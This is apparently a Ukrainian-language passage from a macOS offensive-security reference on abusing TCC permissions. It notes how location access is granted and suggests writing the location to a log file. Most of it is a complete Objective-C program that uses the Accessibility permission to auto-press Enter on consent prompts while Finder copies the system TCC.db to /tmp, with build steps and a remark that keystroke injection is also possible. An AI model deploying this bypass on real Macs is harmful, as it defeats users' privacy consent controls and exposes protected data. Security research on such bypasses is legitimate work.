Місцезнаходження

Щоб додаток міг отримати місцезнаходження, Служби місцезнаходження (з Конфіденційності та безпеки) повинні бути увімкнені, інакше він не зможе до нього отримати доступ.

  • Право: com.apple.security.personal-information.location

  • TCC: Надано в /var/db/locationd/clients.plist

Запишіть місцезнаходження в /tmp/logs.txt

Доступність

  • Право: Немає

  • TCC: kTCCServiceAccessibility

Використовуйте привілей TCC, щоб прийняти контроль над Finder, натискаючи Enter, і таким чином обійти TCC

#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <OSAKit/OSAKit.h>

// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears

void SimulateKeyPress(CGKeyCode keyCode) {
CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
CGEventPost(kCGHIDEventTap, keyDownEvent);
CGEventPost(kCGHIDEventTap, keyUpEvent);
if (keyDownEvent) CFRelease(keyDownEvent);
if (keyUpEvent) CFRelease(keyUpEvent);
}

void RunAppleScript() {
NSLog(@"Starting AppleScript");
NSString *scriptSource = @"tell application \"Finder\"\n"
"set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
"set targetFolder to POSIX file \"/tmp\" as alias\n"
"duplicate file sourceFile to targetFolder with replacing\n"
"end tell\n";

NSDictionary *errorDict = nil;
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
[appleScript executeAndReturnError:&errorDict];

if (errorDict) {
NSLog(@"AppleScript Error: %@", errorDict);
}
}

int main() {
@autoreleasepool {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
RunAppleScript();
});

// Simulate pressing the Enter key every 0.1 seconds
NSLog(@"Starting key presses");
for (int i = 0; i < 10; ++i) {
SimulateKeyPress((CGKeyCode)36); // Key code for Enter
usleep(100000); // 0.1 seconds
}
}
return 0;
}

Доступність є дуже потужним дозволом, ви можете зловживати ним іншими способами, наприклад, ви можете виконати атаку на натискання клавіш лише з його допомогою, без необхідності викликати System Events.
